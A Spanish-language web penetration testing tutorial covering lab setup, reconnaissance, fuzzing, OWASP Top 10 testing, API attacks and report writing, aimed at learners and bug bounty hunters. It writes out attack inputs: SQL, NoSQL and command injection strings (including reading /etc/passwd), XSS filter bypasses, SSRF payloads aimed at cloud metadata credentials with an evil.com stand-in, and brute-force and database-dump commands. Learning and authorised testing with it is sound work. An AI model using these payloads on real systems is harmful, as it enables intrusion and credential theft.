El pentesting de aplicaciones web es donde la mayoría de los red teamers pasan la mayor parte de sus horas facturables. También es donde ocurre una gran cantidad de brechas reales — no a través de exploits exóticos, sino a través de las mismas vulnerabilidades del OWASP Top 10 que han existido durante décadas.
Esta guía cubre la metodología completa: reconocimiento, mapeo de la superficie de ataque, explotación de vulnerabilidades comunes y redacción de hallazgos. Ya sea que estés haciendo tu primer pentest web o afinando tu metodología para bug bounty, este es el proceso.
Por Qué el Pentesting Web Importa en 2026
Las organizaciones tienen más superficie de ataque web que nunca. APIs, integraciones SaaS, flujos OAuth, funciones serverless — el perímetro clásico desapareció, y las aplicaciones web son frecuentemente el primer (y más fácil) punto de entrada.
Los números lo respaldan: las vulnerabilidades en aplicaciones web representan más del 40% de las brechas según el DBIR de Verizon. La inyección SQL y el control de acceso roto por sí solos son responsables de más compromisos que la mayoría de los zero-days exóticos.
Si dominas el pentesting web, nunca te faltará trabajo.
Qué Necesitas Antes de Empezar
Autorización Legal
Siempre obtén permiso escrito antes de tocar cualquier objetivo. El alcance importa — conoce exactamente qué está dentro y fuera de los límites. Sin autorización = actividad criminal, sin excepciones.
Para práctica, usa:
- Tu propio laboratorio (cubierto más adelante)
- Apps vulnerables dedicadas: DVWA, Juice Shop, WebGoat, Damn Vulnerable Web Application
- Plataformas CTF legales: HackTheBox, TryHackMe, PortSwigger Web Security Academy
Tu Entorno de Laboratorio
No necesitas hardware físico. Un VPS te da un entorno limpio y aislado para ejecutar aplicaciones vulnerables sin contaminar tu red doméstica.
Configuración recomendada: Levanta un VPS en Vultr o DigitalOcean — $6/mes te da una VM Debian o Ubuntu con recursos suficientes para correr DVWA, Juice Shop y Burp simultáneamente.
Instala Docker en el VPS y levanta tus objetivos:
# OWASP Juice Shop (moderno, realista, con mucho enfoque en APIs)
docker run -d -p 3000:3000 bkimminich/juice-shop
# DVWA (clásico, fácil de configurar)
docker run -d -p 80:80 vulnerables/web-dvwa
# WebGoat (basado en Java, excelente para vulnerabilidades más profundas)
docker run -d -p 8080:8080 webgoat/goatandwolf
Mantén tu VPS apagado o con firewall cuando no lo uses — las apps vulnerables expuestas públicamente son atacadas en cuestión de horas.
Herramientas Esenciales
| Herramienta | Propósito |
|---|---|
| Burp Suite | Proxy interceptor, escáner, intruder, repeater — tu arma principal |
| ffuf | Fuzzer web rápido para directorios, parámetros, subdominios |
| sqlmap | Detección y explotación automatizada de inyección SQL |
| nikto | Escaneo rápido de configuraciones incorrectas del servidor web |
| gobuster / feroxbuster | Fuerza bruta de directorios y archivos |
| wfuzz | Fuzzer flexible para parámetros y cabeceras |
| nuclei | Escaneo de vulnerabilidades basado en plantillas |
Burp Suite Community es gratuito y cubre el 80% de lo que necesitas. Burp Suite Pro agrega un escáner activo e Intruder sin límites de velocidad — vale la pena una vez que haces compromisos profesionales.
La Metodología de Pentesting Web
Una metodología estructurada separa a los pentesters profesionales de los script kiddies. Aquí está el proceso desde el primer contacto hasta el hallazgo final.
Fase 1: Reconocimiento
Antes de enviar una sola solicitud, entiende el objetivo.
Reconocimiento pasivo (sin interacción directa con el objetivo):
# Enumeración de subdominios
subfinder -d objetivo.com -o subdominios.txt
amass enum -passive -d objetivo.com
# Registros de transparencia de certificados
curl -s "https://crt.sh/?q=%.objetivo.com&output=json" | jq '.[].name_value' | sort -u
# Google dorking
site:objetivo.com filetype:pdf
site:objetivo.com inurl:admin
site:objetivo.com ext:php OR ext:asp OR ext:aspx
Identificación de tecnologías:
whatweb https://objetivo.com
wappalyzer # extensión de navegador, identifica frameworks, CMS, librerías JS
Conoce el stack antes de atacarlo. Una app PHP/MySQL tiene vulnerabilidades diferentes a una API Node.js/MongoDB.
Wayback Machine y minería de archivos JS: Los endpoints antiguos no desaparecen de la web. Revisa archive.org y extrae endpoints, secretos hardcodeados y rutas internas de archivos JavaScript:
# Obtener todas las URLs de Wayback para un dominio
waybackurls objetivo.com | tee wayback.txt | grep -E "\\.php|\\.asp|api"
# Extraer endpoints de archivos JS
cat archivo.js | grep -oP '(?<=["'"'"'])/[a-zA-Z0-9_/.-]+' | sort -u
Fase 2: Mapeo de la Superficie de Ataque
Enumera cada endpoint, parámetro y mecanismo de autenticación.
Fuerza bruta de directorios y archivos:
# Fuerza bruta rápida de directorios
ffuf -u https://objetivo.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-fc 404 -mc 200,301,302,403 -o dirs.json
# Fuzzing de extensiones de archivo
ffuf -u https://objetivo.com/FUZZ -w wordlist.txt -e .php,.asp,.aspx,.bak,.txt,.xml
# Fuzzing de endpoints de API
ffuf -u https://api.objetivo.com/v1/FUZZ -w api-wordlist.txt -H "Authorization: Bearer <token>"
Descubrimiento de parámetros:
# Encontrar parámetros ocultos
ffuf -u "https://objetivo.com/pagina?FUZZ=test" -w params.txt -fw 10
# Arjun es excelente para descubrimiento de parámetros
arjun -u https://objetivo.com/buscar
Burp Suite — tu herramienta principal de mapeo: Configura Burp como tu proxy (127.0.0.1:8080) y navega manualmente la app mientras Burp registra cada solicitud. Luego usa el Sitemap para identificar todos los endpoints. Todo pasa por Burp.
Fase 3: Prueba de Vulnerabilidades
Trabaja cada clase de vulnerabilidad de forma sistemática. No lances exploits al azar — entiende qué estás probando y por qué.
OWASP Top 10 — Qué Probar y Cómo
A01: Control de Acceso Roto
La vulnerabilidad #1 desde 2021 y probablemente seguirá siéndolo. El control de acceso roto significa que los usuarios pueden hacer cosas que no deberían — acceder a datos de otros usuarios, escalar privilegios o llegar a funciones de administrador.
Enfoque de prueba:
IDOR (Referencia Directa a Objeto Insegura): Cambiar IDs en URLs y parámetros
GET /api/users/1234/profile → cambiar a /api/users/1235/profile GET /factura?id=ABC123 → enumerar o adivinar otros IDsNavegación forzada: Intentar acceder a páginas autenticadas sin iniciar sesión
/admin/users /dashboard/settings /api/admin/Escalada de privilegios horizontal: Iniciar sesión como Usuario A, acceder a datos del Usuario B
Escalada de privilegios vertical: Usuario regular accediendo a funciones de administrador
Consejo de Burp: Usa Comparer para ver las diferencias entre respuestas autenticadas y no autenticadas. Usa la extensión Autorize para probar automáticamente cada solicitud en busca de problemas de control de acceso.
A02: Fallos Criptográficos
Datos sensibles transmitidos o almacenados de forma insegura.
Qué revisar:
- HTTP en lugar de HTTPS (revisar todos los redireccionamientos)
- Configuración TLS débil: SSLv3, TLS 1.0/1.1, suites de cifrado débiles
- Datos sensibles en parámetros de URL (aparecen en logs del servidor, cabeceras referrer)
- Contraseñas hasheadas con MD5 o SHA1 (sin salt)
- Cookies sin flags
SecureoHttpOnly
# Escáner TLS
testssl.sh https://objetivo.com
# Revisar cabeceras
curl -I https://objetivo.com | grep -i "set-cookie\|strict-transport"
A03: Inyección
La inyección SQL es la clásica, pero la inyección abarca SQL, NoSQL, LDAP, comandos del sistema operativo y más.
Inyección SQL — Prueba Manual:
-- Detección básica (basada en errores)
'
''
`
')
"))
-- Blind booleana
' AND 1=1--
' AND 1=2--
-- Blind basada en tiempo
' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'--
SQLmap — Automatizado:
# Escaneo básico
sqlmap -u "https://objetivo.com/buscar?q=test" --dbs
# Con archivo de solicitud de Burp (más confiable)
sqlmap -r solicitud.txt --level=5 --risk=3 --dbs
# Volcar tablas
sqlmap -r solicitud.txt -D nombre_base_datos --tables
sqlmap -r solicitud.txt -D nombre_base_datos -T usuarios --dump
Inyección de Comandos:
# Caracteres de prueba
; ls
| ls
&& ls
` ls `
$(ls)
# Ejemplo en un parámetro
GET /ping?host=8.8.8.8;cat+/etc/passwd
Inyección NoSQL (MongoDB):
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
A07: Fallos de Identificación y Autenticación
La autenticación rota cubre contraseñas débiles, falta de protección contra fuerza bruta, manejo inseguro de sesiones e implementaciones fallidas de MFA.
Enfoque de prueba:
Enumeración de nombres de usuario: Diferentes mensajes de error para nombres de usuario válidos vs inválidos
"Contraseña inválida" vs "Usuario no encontrado" — te dice los nombres de usuario válidosProtección contra fuerza bruta: Probar límites de velocidad en endpoints de login, restablecimiento de contraseña y MFA
ffuf -u https://objetivo.com/login -X POST \ -d "username=admin&password=FUZZ" \ -w /usr/share/wordlists/rockyou.txt \ -H "Content-Type: application/x-www-form-urlencoded" \ -fc 302Fallos en restablecimiento de contraseña:
- Tokens de restablecimiento predecibles (cortos, secuenciales, basados en tiempo)
- Reutilización de tokens después del cambio de contraseña
- Inyección de cabecera Host en correos de restablecimiento
Fijación de sesión: ¿Puedes establecer tu propio ID de sesión antes del login?
Ataques JWT:
# Decodificar e inspeccionar JWT echo "eyJ..." | base64 -d # Probar confusión de algoritmo: cambiar alg a "none" # Probar secreto débil: HS256 con contraseñas comunes hashcat -a 0 -m 16500 jwt.txt wordlist.txt
A03 (cont.): Cross-Site Scripting (XSS)
XSS permite a los atacantes ejecutar JavaScript en el navegador de la víctima — robo de sesiones, captura de credenciales, manipulación del DOM.
XSS Reflejado:
// Payloads básicos
<script>alert(1)</script>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(1)
// Bypass de filtros
<scr<script>ipt>alert(1)</scr</script>ipt>
<svg onload=alert(1)>
<img src=x onerror="alert(1)">
XSS Almacenado: Los mismos payloads, pero en entradas persistentes (comentarios, nombres de usuario, campos de perfil). Mayor impacto — se activa para cada usuario que ve el contenido.
XSS DOM: Análisis de sinks y fuentes. Busca sinks peligrosos:
document.innerHTML
document.write()
eval()
setTimeout() / setInterval() con argumento de cadena
location.href
El escáner XSS de Burp detecta muchos casos reflejados automáticamente. Para XSS DOM, DOM Invader (integrado en el navegador de Burp) es invaluable.
A08: Fallos de Integridad de Software y Datos
Incluye deserialización insegura y ataques a pipelines CI/CD.
Prueba de deserialización:
- Serialización Java: busca bytes mágicos
AC ED 00 05en solicitudes - PHP: objetos estilo
O:8:"stdClass":...en cookies o parámetros - Python pickle: raro pero devastador cuando se encuentra
Herramientas: ysoserial (Java), PHPGGC (PHP), cadenas de gadgets personalizadas
Confusión de dependencias: Verifica si los nombres de paquetes internos pueden ser suplantados en registros públicos (npm, PyPI, RubyGems).
A10: Falsificación de Solicitudes del Lado del Servidor (SSRF)
El servidor obtiene una URL que tú controlas — puedes pivotar a servicios internos, APIs de metadatos de la nube y redes internas.
Detección:
# Cualquier parámetro que tome una URL es un candidato
url=https://evil.com
webhook=https://tu-burpcollaborator.net
redirect=http://169.254.169.254/latest/meta-data/ # Metadatos AWS
callback=http://servicio-interno:8080/admin
Metadatos de la nube AWS:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
Bypass de filtros:
http://169.254.169.254/ → bloqueado
http://0xA9FEA9FE/ → bypass hexadecimal
http://[email protected]/ → notación @
http://[::ffff:a9fe:a9fe]/ → representación IPv6
Pentesting de APIs — La Superficie de Ataque Moderna
Las APIs REST están en todas partes y frecuentemente están menos protegidas que la aplicación principal. Trata cada endpoint de API como una superficie de ataque separada.
Pruebas específicas de API:
# Enumerar versiones
/api/v1/users
/api/v2/users # versiones más antiguas o nuevas pueden tener controles más débiles
# Prueba de métodos HTTP
OPTIONS /api/users/123
PUT /api/users/123 # probar actualizaciones no autorizadas
DELETE /api/users/123
# Asignación masiva
POST /api/users
{"username": "test", "password": "test123", "role": "admin"} # ¿puedes establecer el rol?
Postman + Burp: Importa la especificación de la API (OpenAPI/Swagger si está disponible) en Postman, enruta a través de Burp y prueba sistemáticamente cada endpoint.
GraphQL:
# Consulta de introspección — vuelca el esquema completo
{"query": "{__schema{types{name fields{name}}}}"}
# Ataques de batching (bypass de límite de velocidad)
[{"query": "mutation { login(username: \"admin\", password: \"pass1\") }"},
{"query": "mutation { login(username: \"admin\", password: \"pass2\") }"}]
Cómo Reportar tus Hallazgos
Un hallazgo sin un writeup claro no es útil para el cliente. Cada vulnerabilidad necesita:
- Título: Claro y descriptivo (ej. “IDOR no autenticado en /api/users/{id} permite acceso cruzado a datos de cuentas”)
- Severidad: Crítica / Alta / Media / Baja / Informativa (usa CVSS donde corresponda)
- Descripción: ¿Cuál es la vulnerabilidad?
- Pasos de reproducción: Pasos exactos para reproducir — incluye solicitud/respuesta
- Impacto: ¿Qué puede hacer un atacante? El contexto de negocio importa.
- Remediación: Corrección específica y accionable
Mapeo de severidad:
- Crítica: RCE no autenticado, exfiltración completa de datos, bypass de autenticación
- Alta: Bypass de autenticación con esfuerzo, SQLi de alto impacto, XSS almacenado con acceso privilegiado
- Media: XSS reflejado, IDOR con impacto limitado, gestión débil de sesiones
- Baja: Divulgación de información, cabeceras de seguridad faltantes, TLS débil
- Info: Recomendaciones de mejores prácticas, sin explotabilidad directa
Recursos de Práctica
Laboratorios Gratuitos
- PortSwigger Web Security Academy — El mejor entrenamiento gratuito de seguridad web que existe. Creado por el equipo de Burp Suite. Empieza aquí.
- HackTheBox: Máquinas enfocadas en web y categoría de Challenges
- TryHackMe: Ruta OWASP Top 10, salas de Burp Suite
- OWASP WebGoat + DVWA: Apps vulnerables auto-alojadas
Libros Recomendados
Si te tomas en serio el pentesting web, estos dos libros valen la pena:
- The Web Application Hacker’s Handbook — la referencia fundamental. Denso pero completo.
- Bug Bounty Bootcamp de Vickie Li — práctico, moderno, cubre bien la metodología. Buen punto de partida antes del Handbook.
Certificaciones
- OSCP — incluye componentes web pero se enfoca más en infraestructura
- eWPT (eLearnSecurity Web Penetration Tester) — específico de web, sólido para principiantes
- BSCP (Burp Suite Certified Practitioner) — la certificación de PortSwigger, más difícil de lo que parece, respetada en la industria
Configuración de tu Entorno de Práctica
Un laboratorio apropiado hace la diferencia entre hurgar al azar y construir habilidades de forma sistemática.
Configuración recomendada de VPS — levanta una VM Debian de $6/mes en Vultr o DigitalOcean :
# Instalar Docker
curl -fsSL https://get.docker.com | sh
# Ejecutar el stack de práctica completo
docker run -d --name juiceshop -p 3000:3000 bkimminich/juice-shop
docker run -d --name dvwa -p 80:80 vulnerables/web-dvwa
docker run -d --name webgoat -p 8080:8080 -p 8090:8090 webgoat/goatandwolf
# OWASP NodeGoat (app Node.js, excelente para pruebas de API)
git clone https://github.com/OWASP/NodeGoat && cd NodeGoat
docker-compose up -d
Protege el VPS con un firewall — solo permite que tu IP acceda a estos puertos. Las apps vulnerables expuestas son atacadas en cuestión de horas.
La Mentalidad del Pentesting Web
Las habilidades técnicas importan. Pero el mayor diferenciador entre los testers web promedio y los excelentes es el pensamiento de lógica de negocio.
La mayoría de los escáneres automatizados se pierden los fallos de lógica de negocio porque no pueden entender el contexto. ¿Puedes comprar algo por $0? ¿Puedes saltarte un paso de pago? ¿Puedes reutilizar un código de cupón? ¿Puedes transferirte dinero a ti mismo?
Esto requiere que entiendas qué se supone que debe hacer la aplicación, y luego pienses en cómo abusar de eso.
Lee la documentación de la app si existe. Mapea los flujos de usuario. Piensa como desarrollador y como atacante. Los bugs interesantes siempre están en la intersección de “esto no debería pasar”.
Próximos Pasos
El pentesting web es una madriguera de conejo profunda. Aquí hay una progresión de aprendizaje sugerida:
- Completa PortSwigger Web Security Academy — todos los labs, no solo los fáciles
- Configura tu laboratorio VPS y trabaja a través de DVWA (todos los niveles de seguridad) y Juice Shop
- Haz máquinas HTB enfocadas en web: Horizontall, Validation, Secret son buenos puntos de partida
- Inicia la ruta OWASP Top 10 de TryHackMe si necesitas más estructura
- Prueba un programa de bug bounty en HackerOne o Bugcrowd una vez que te sientas cómodo con los conceptos básicos
- Lee Bug Bounty Bootcamp de principio a fin
Las habilidades se potencian mutuamente. Cada clase de vulnerabilidad que dominas te hace más rápido para detectarla en el mundo real.
¿Necesitas un reporte escrito después de tu pentest? CipherWrite entrega reportes de pentest profesionales y writeups técnicos — listos para clientes.
